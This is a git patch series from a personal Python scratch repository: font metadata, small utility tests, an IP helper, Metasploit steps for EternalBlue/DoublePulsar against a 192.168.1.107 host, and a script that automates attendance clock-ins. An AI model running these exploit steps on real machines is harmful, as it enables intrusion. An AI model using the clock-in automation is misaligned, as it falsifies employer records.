+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Created by font-carrier + + + + tyc-num + + + Regular + + + iconfont + + + iconfont + + + Version 1.0 + + + iconfont + + + Generated by svg2ttf from Fontello project. + + + http://fontello.com + + + + Created by font-carrier + + + + tyc-num + + + Regular + + + iconfont + + + iconfont + + + Version 1.0 + + + iconfont + + + Generated by svg2ttf from Fontello project. + + + http://fontello.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/fuck/tyc.py b/fuck/tyc.py new file mode 100644 index 0000000..dff83f6 --- /dev/null +++ b/fuck/tyc.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: tyc.py +@time: 2018-09-20 14:18 +""" + + +from fontTools.ttLib import TTFont +font1 = TTFont('/Users/zhanghe/code/bearing_project/tyc-num.woff') +font1.saveXML('./tyc-num.xml') + +cmap=font1['cmap'] +cdict=cmap.getBestCmap() +# acs=ord('3') +# print (acs) +print(cdict) diff --git a/fuck/weibo.py b/fuck/weibo.py new file mode 100644 index 0000000..4af05d4 --- /dev/null +++ b/fuck/weibo.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: weibo.py +@time: 2017/11/16 下午7:55 +""" + + +def func(): + pass + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + pass diff --git a/test/algorithm/index.md b/test/algorithm/index.md new file mode 100644 index 0000000..d16c2a8 --- /dev/null +++ b/test/algorithm/index.md @@ -0,0 +1 @@ +## 索引 diff --git a/test/algorithm/inverted_index.py b/test/algorithm/inverted_index.py new file mode 100644 index 0000000..d74c4e8 --- /dev/null +++ b/test/algorithm/inverted_index.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: inverted_index.py +@time: 2017/8/20 下午11:17 +""" + + +def func(): + pass + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + pass diff --git a/test/algorithm/tree.md b/test/algorithm/tree.md new file mode 100644 index 0000000..923ec4a --- /dev/null +++ b/test/algorithm/tree.md @@ -0,0 +1 @@ +## 树 diff --git a/test/test_ip.py b/test/test_ip.py new file mode 100644 index 0000000..277198f --- /dev/null +++ b/test/test_ip.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_ip.py +@time: 2018-02-08 18:53 +""" + + +import netaddr + + +def check_allocation_pools(allocation_pools): + print(allocation_pools) + # 开始IP 必须小于 结束IP 校验可用IP数量 + for ip_pool in allocation_pools: + print(ip_pool) + ip_start = netaddr.IPAddress(ip_pool['start']).__int__() + ip_end = netaddr.IPAddress(ip_pool['end']).__int__() + print(ip_start) + print(ip_end) + print(ip_end - ip_start) + if ip_start > ip_end or (ip_end - ip_start) < 2: + print('error') + print('-'*20) + + +if __name__ == '__main__': + allocation_pools_f = [{'start': '192.168.0.1', 'end': '192.168.0.2'}] + allocation_pools_t = [{'start': '192.168.0.1', 'end': '192.168.0.20'}] + check_allocation_pools(allocation_pools_f) + check_allocation_pools(allocation_pools_t) diff --git a/test/test_reduce.py b/test/test_reduce.py new file mode 100644 index 0000000..2dbb55a --- /dev/null +++ b/test/test_reduce.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_reduce.py +@time: 2017-12-05 22:04 +""" + +import sys +import json +from functools import reduce + + +def mapif(s, pred=None, f=None): + r = [] + c = 0 + for v in s: + c += 1 + if pred(v): + t = f(v) + else: + t = v + r.append(t) + return r + + +def partition(s, size=None, step=None): + step = step or size + + def pred(e): + i = s.index(e) + n = i % size if size else 0 + return i == n + + def f(e): + i = s.index(e) + n = i % size if size else 0 + start = step * n + end = start + size + return s[start:end] + + p = mapif(s, pred, f) + + # r = [i for i in p if isinstance(i, list) and len(i) > 0] + r = p + print(r) + return r + + +def test(): + partition(range(1, 9), 4) # [[1, 2, 3, 4], [5, 6, 7, 8]] + partition(range(1, 9), 4, 2) # [[1, 2, 3, 4], [3, 4, 5, 6], [5, 6, 7, 8], [7, 8]] + partition(range(1, 9), 4, 5) # [[1, 2, 3, 4], [6, 7, 8]] + + +if __name__ == '__main__': + test() diff --git a/test/test_reflect.py b/test/test_reflect.py new file mode 100644 index 0000000..117d2b3 --- /dev/null +++ b/test/test_reflect.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_reflect.py +@time: 2018-07-27 14:07 +""" + + +# 假设有以下结构的包 +""" +├── abcd +│   ├── __init__.py +│   ├── __init__.pyc +│   ├── ff.py +│   └── ff.pyc +""" + +# ff.py +""" +#!/usr/bin/env python +# encoding: utf-8 + +class Gg(object): + def __init__(self): + pass + + def cc(self): + return 1 +""" + +s = 'abcd.ff' + + +# 方式一 +# c = __import__(s) + +# print(c) +# print(type(c)) +# +# print('') +# print(c.ff.Gg) +# print(getattr(getattr(c, 'ff'), 'Gg')) +# print(c.ff.Gg == getattr(c.ff, 'Gg')) +# +# print('') +# print(c.ff.Gg().cc) +# print(c.ff.Gg().cc()) + +# 方式二 +c = __import__(s, fromlist=True) + +print(c) +print(type(c)) + +print('') +print(c.Gg) +print(getattr(c, 'Gg')) +print(c.Gg == getattr(c, 'Gg')) + +print('') +print(c.Gg().cc) +print(c.Gg().cc()) + + +# https://www.cnblogs.com/yyyg/p/5554111.html diff --git a/test/test_timeout.py b/test/test_timeout.py new file mode 100644 index 0000000..76edfec --- /dev/null +++ b/test/test_timeout.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: DDDD.py +@time: 2017/6/6 下午1:54 +""" + +import time +# import ipdb +import inspect + +import signal + + +# Define signal handler function +def myHandler(signum, frame): + print("Now, it's the time") + print signum, frame + # ipdb.set_trace() + inspect.getframeinfo(frame) + raise Exception('Function TimeOut!') + + +def with_time_out(s=10): + """ + 函数超时装饰器 + :param s: + :return: + """ + signal.signal(signal.SIGALRM, myHandler) + signal.alarm(s) + + def decorator(func): + def wrapper(*args, **kw): + return func(*args, **kw) + return wrapper + return decorator + + +def set_timeout(): + signal.signal(signal.SIGALRM, myHandler) + signal.alarm(1) + + +@with_time_out(1) +def a(): + print 'a' + b() + + +def b(): + time.sleep(10) + print 'b' + + +# # register signal.SIGALRM's handler +# signal.signal(signal.SIGALRM, myHandler) +# signal.alarm(2) +# while True: +# # time.sleep(3) +# try: +# a() +# except Exception as e: +# print 'get err:', e.message +# # print('not yet') + + +try: + a() +except Exception as e: + print e diff --git a/test/test_wrap.py b/test/test_wrap.py new file mode 100644 index 0000000..6eb243e --- /dev/null +++ b/test/test_wrap.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_wrap.py +@time: 2017/7/28 下午2:14 +""" + +from functools import wraps + + +def singleton(func): + @wraps(func) + def getinstance(*args, **kw): + back_func = func(*args, **kw) + + return back_func + + +@singleton +class MyClass(object): + a = 1 + + +def time_log(func): + """ + 装饰器 + :param func: + :return: + """ + def wrapper(*args, **kw): + func_name = func.__name__ + start_time = time.time() + print '方法%s开始时间:%s' % (func_name, time.ctime()) + back_func = func(*args, **kw) + end_time = time.time() + run_time = end_time - start_time + print '方法%s结束时间:%s' % (func_name, time.ctime()) + print '方法%s运行时间:%0.2fS' % (func_name, run_time) + return back_func + return wrapper + + +if __name__ == '__main__': + pass diff --git a/tools/convert.py b/tools/convert.py index d3739ef..74743d6 100644 --- a/tools/convert.py +++ b/tools/convert.py @@ -27,6 +27,8 @@ def test_unescape(): str_xx = '\xe5\xbd\x93\xe5\x89\x8d\xe5\xb7\xb2\xe8\xbe\xbe\xe5\x88\xb0\xe6\x8a\x93\xe5\x8f\x96\xe9\x85\x8d\xe7\xbd\xae\xe7\x9a\x84\xe6\x9c\x80\xe5\xa4\xa7\xe9\xa1\xb5\xe7\xa0\x81' str_xx = '\xe9\xaa\x8c\xe8\xaf\x81\xe7\xa0\x81\xe8\xbe\x93\xe5\x85\xa5\xe9\x94\x99\xe8\xaf\xaf, \xe8\xaf\xb7\xe9\x87\x8d\xe6\x96\xb0\xe8\xbe\x93\xe5\x85\xa5\xef\xbc\x81' str_xx = '\xe6\x9c\xaa\xe7\x9f\xa5\xe8\xae\xbf\xe9\x97\xae\xe6\x9d\xa5\xe6\xba\x90' + str_xx = u'</p><p>帮企业控制采购成本,提升市场竞争力</p></div>' + str_xx = u'最新博彩白菜大全,2018博彩白菜大全,最新博彩娱乐网址,博彩最新网站大全,博彩最新网站大全,博彩最新优惠' from HTMLParser import HTMLParser h = HTMLParser() print h.unescape(str_xx) @@ -77,10 +79,10 @@ def test(): print [hex(i).lstrip('0x').zfill(2) for i in range(0, 256)] if __name__ == "__main__": - test() + # test() # print system_to_decimal('000000001b2025f6', 16) # print system_to_decimal('0001000100010001', 2) - # test_unescape() + test_unescape() # test_unicode() diff --git a/tools/curl.py b/tools/curl.py index d805160..1de53d4 100644 --- a/tools/curl.py +++ b/tools/curl.py @@ -84,7 +84,7 @@ def with_cookie(url): """ 保存请求页面结果 -$ url -o page.html http://www.linuxidc.com +$ curl -o page.html http://www.linuxidc.com 通过代理访问 $ curl -x 123.45.67.89:1080 -o page.html http://www.linuxidc.com 上传文件 diff --git a/tools/ip.py b/tools/ip.py index 359246d..7283c13 100644 --- a/tools/ip.py +++ b/tools/ip.py @@ -2,6 +2,26 @@ __author__ = 'zhanghe' +import socket + + +def get_host_ip(): + """ + 通过 UDP 获取本机 IP + 在 shell 中可以一行调用,获取到本机IP + python -c "import socket;print([(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])" + :return: + """ + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect(('8.8.8.8', 80)) + ip = s.getsockname()[0] + finally: + s.close() + + return ip + + def get_local_ip_list(): """ 获取本地ip地址 @@ -43,4 +63,5 @@ def check_local_ip(ip): if __name__ == '__main__': - print get_local_ip_list() + print(get_local_ip_list()) + print(get_host_ip()) From 97f753627944890d905e0b74fb1dee7ebd671064 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Fri, 23 Mar 2018 13:03:42 +0800 Subject: [PATCH 40/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E6=B0=B8=E6=81=92?= =?UTF-8?q?=E4=B9=8B=E8=93=9D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Eternalblue.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Eternalblue.md b/Eternalblue.md index 6a2f8c5..8f6128b 100644 --- a/Eternalblue.md +++ b/Eternalblue.md @@ -25,7 +25,7 @@ msf auxiliary(smb_ms17_010) > options msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.107 msf auxiliary(smb_ms17_010) > run -# cd Eternalblue-Doublepulsar-Metasploit-master/ +# cd Eternalblue-Doublepulsar-Metasploit/ # cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ # cd deps # pwd @@ -34,9 +34,9 @@ msf auxiliary(smb_ms17_010) > run > reload_all msf exploit(eternalblue_doublepulsar) > use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar) > options -msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit-master/deps -msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit-master/deps -msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe +msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps +msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps +msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe # (Change to lsass.exe for x64) msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.107 msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x64 msf exploit(eternalblue_doublepulsar) > show targets From 2af304ab6e5975705cd2eeb7d12f3e93efa1a269 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Thu, 3 Jan 2019 13:05:16 +0800 Subject: [PATCH 41/43] =?UTF-8?q?=E7=88=B1=E5=8A=9E=E5=85=AC=E6=89=93?= =?UTF-8?q?=E5=8D=A1=E7=A5=9E=E5=99=A8=E5=91=A8=E5=B9=B4=E5=BA=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/ioa.py | 95 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 94 insertions(+), 1 deletion(-) diff --git a/fuck/ioa.py b/fuck/ioa.py index 760a699..e7cddfb 100644 --- a/fuck/ioa.py +++ b/fuck/ioa.py @@ -90,7 +90,9 @@ def check_security_token(self): return status def login(self): - url = 'https://i.ioa.cn/rs/m/security/login' + # TODO http 或 https (非电信不支持https? 待确认) + # 或者 不改协议,重启网络试试?dns问题? + url = 'http://i.ioa.cn/rs/m/security/login' payload = { "username": self.username, "password": self.password, @@ -118,6 +120,94 @@ def login(self): print(res.content) return False + def get_statistics_by_day(self): + """ + 检查打卡状况 + + { + "resultCode": "0000", + "data": { + "dateTime": "8月27日 星期一", + "historyList": [{ + "clockHistoryId": "94827c514009429aa857094a798323eb", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "09:39", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1535333971000, + "attIds": null, + "caseId": null + }], + "clock": null + }, + "msg": null + } + + { + "resultCode": "0000", + "data": { + "dateTime": "8月27日 星期一", + "historyList": [{ + "clockHistoryId": "94827c514009429aa857094a798323eb", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "09:39", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1535333971000, + "attIds": null, + "caseId": null + }, { + "clockHistoryId": "f1051d4978784dbc9b6c426879fb8f0a", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1535299200000, + "clockTime": "19:54", + "clockType": 1, + "remark": null, + "longitude": "121.516620", + "latitude": "31.311244", + "place": "上海市 杨浦区 三门路38-1号", + "signType": 0, + "createTime": 1535370881000, + "attIds": null, + "caseId": null + }], + "clock": null + }, + "msg": null + } + 错误结果: + { + "msg": "服务异常", + "resultCode": "1111", + "data": null + } + :return: + """ + url = 'http://i.ioa.cn/hr/h/clockJsonController/getStatisticsByDay' + params = { + 'currentDate': '', + 'staffId': self.staff_id, + } + request_headers = self.headers.copy() + request_headers['securityToken'] = self.security_token + request_headers['Referer'] = 'http://i.ioa.cn/hr/h5/html/attendanceSign' + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + def fuck(self): """ 打卡 @@ -179,4 +269,7 @@ def fuck(self): username='13800000000', password='123456', ) + # ioa_client.login() + # ioa_client.get_statistics_by_day() ioa_client.fuck() + ioa_client.get_statistics_by_day() From cb8f7dfa81522b359ee85951464251bd9b599168 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Wed, 20 Feb 2019 10:01:42 +0800 Subject: [PATCH 42/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E6=B3=9B=E5=BE=AE?= =?UTF-8?q?=E6=89=93=E5=8D=A1=E7=A5=9E=E5=99=A8?= MIME-Version: 1.0 